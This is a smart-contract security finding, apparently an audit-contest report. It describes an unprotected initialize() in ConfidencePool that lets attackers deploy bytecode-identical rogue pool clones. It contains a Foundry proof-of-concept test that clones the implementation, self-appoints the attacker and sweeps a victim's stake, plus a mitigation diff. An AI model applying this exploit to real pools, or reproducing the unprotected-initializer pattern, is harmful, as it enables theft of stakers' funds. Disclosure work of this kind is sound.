FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Unprotected initialize() Enables Bytecode-Identical Rogue Pool Clones

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: A pool must only be created via ConfidencePoolFactory.createPool, which checks the stake-token allowlist, confirms the caller is the real agreement owner, and pins the clone to the factory's own canonical safeHarborRegistry/defaultOutcomeModerator.

  • The issue: ConfidencePool.initialize() enforces none of that itself — there's no msg.sender check, and safeHarborRegistry_/agreement_ are caller-supplied. Since poolImplementation is public and Clones.clone() is permissionless, anyone can clone the same verified bytecode and self-initialize it with fake dependencies, bypassing every factory check.

// src/ConfidencePool.sol
constructor() Ownable(msg.sender) {
_disableInitializers();
@> // Locks only THIS implementation's own storage — a clone has independent
@> // storage, so `initializer` below passes for whoever calls it first.
}
function initialize(
address agreement_,
address stakeToken_,
@> address safeHarborRegistry_, // caller-supplied, never pinned to a canonical registry
address outcomeModerator_, // caller-supplied — attacker can appoint themselves
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_, // caller-supplied — attacker can appoint themselves
address owner_, // caller-supplied — attacker can appoint themselves
address[] calldata accounts
) external initializer {
@> // No `msg.sender == factory` check anywhere in this function.
...
}

Risk

Likelihood:

  • poolImplementation is a public address and Clones.clone() is a permissionless, single-transaction call, so an attacker can stand up a fully rogue pool at will.

  • The rogue clone shares byte-for-byte identical, already-verified bytecode with genuine pools, defeating the usual "check the code" heuristic victims rely on to spot fakes.

Impact:

  • Any staker who deposits into the rogue pool loses their full stake — the attacker controls the fake registry, appoints themselves moderator, and sweeps 100% of the balance via claimCorrupted().

  • Undermines the protocol's core "on-chain confidence" value proposition, since pool legitimacy can't be verified from bytecode alone.

Proof of Concept

This Foundry test (drop into test/unit/, run with forge test --match-test test_RogueCloneStealsVictimStake) reproduces the full attack path end-to-end: it clones the real ConfidencePool implementation independently of the factory, self-initializes it with fully attacker-controlled fake BattleChain dependencies, has a victim stake real tokens into it, then has the attacker flag their own fake registry as CORRUPTED and sweep the victim's entire stake — with ConfidencePoolFactory never involved at any step.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract RogueCloneInitPoC is Test {
address internal victim = makeAddr("victim");
address internal attacker = makeAddr("attacker");
function test_RogueCloneStealsVictimStake() public {
// Real implementation address is public knowledge via the real factory.
ConfidencePool implementation = new ConfidencePool();
// Attacker deploys fully attacker-controlled fake BattleChain dependencies.
vm.startPrank(attacker);
MockSafeHarborRegistry fakeSafeHarborRegistry = new MockSafeHarborRegistry();
MockAttackRegistry fakeAttackRegistry = new MockAttackRegistry();
MockAgreement fakeAgreement = new MockAgreement(attacker);
MockERC20 realStakeToken = new MockERC20(); // stand-in for a real token e.g. USDC
fakeSafeHarborRegistry.setAttackRegistry(address(fakeAttackRegistry));
fakeSafeHarborRegistry.setAgreementValid(address(fakeAgreement), true);
address[] memory scope = new address[](1);
scope[0] = address(0xBEEF);
fakeAgreement.setContractInScope(scope[0], true);
// Attacker clones the real implementation directly, bypassing the factory entirely.
ConfidencePool roguePool = ConfidencePool(Clones.clone(address(implementation)));
roguePool.initialize(
address(fakeAgreement),
address(realStakeToken),
address(fakeSafeHarborRegistry),
attacker,
block.timestamp + 31 days,
1e18,
attacker,
attacker,
scope
);
vm.stopPrank();
// Victim, believing this is a legitimate pool, stakes real value into it.
uint256 victimStake = 10_000e18;
realStakeToken.mint(victim, victimStake);
vm.startPrank(victim);
realStakeToken.approve(address(roguePool), victimStake);
roguePool.stake(victimStake);
vm.stopPrank();
assertEq(realStakeToken.balanceOf(address(roguePool)), victimStake);
// Attacker flips their own fake registry to CORRUPTED on demand.
vm.prank(attacker);
fakeAttackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Attacker, as self-appointed moderator, flags bad-faith CORRUPTED and sweeps.
vm.prank(attacker);
roguePool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
vm.prank(attacker);
roguePool.claimCorrupted();
assertEq(realStakeToken.balanceOf(attacker), victimStake);
assertEq(realStakeToken.balanceOf(address(roguePool)), 0);
}
}

Recommended Mitigation

Pin every clone to a canonical factory address via an immutable (unlike storage, immutables are inlined into bytecode and resolve correctly through delegatecall), and reject initialize() calls from anyone else. This requires deploying the factory proxy before the real pool implementation.

// src/ConfidencePool.sol
+ address public immutable FACTORY;
+
- constructor() Ownable(msg.sender) {
+ constructor(address factory_) Ownable(msg.sender) {
+ if (factory_ == address(0)) revert ZeroAddress();
+ FACTORY = factory_;
_disableInitializers();
}
function initialize(
address agreement_,
...
) external initializer {
+ if (msg.sender != FACTORY) revert NotFactory();
if (agreement_ == address(0)) revert ZeroAddress();
...
// src/interfaces/IConfidencePool.sol
error ZeroAddress();
+ error NotFactory();
// script/Deploy.s.sol
- implementation = address(new ConfidencePool());
-
ConfidencePoolFactory factoryImpl = new ConfidencePoolFactory();
- bytes memory initData =
- abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, implementation, moderator));
- factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
+ // Deploy the factory with a throwaway placeholder implementation so its proxy
+ // address is known, then deploy the real implementation pinned to that address.
+ address placeholder = address(new ConfidencePool(address(1)));
+ bytes memory initData =
+ abi.encodeCall(ConfidencePoolFactory.initialize, (safeHarborRegistry, placeholder, moderator));
+ factoryProxy = address(new ERC1967Proxy(address(factoryImpl), initData));
+
+ implementation = address(new ConfidencePool(factoryProxy));
+ ConfidencePoolFactory(factoryProxy).setPoolImplementation(implementation);

Existing tests that call new ConfidencePool() + initialize(...) directly will need address(this) passed as factory_.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!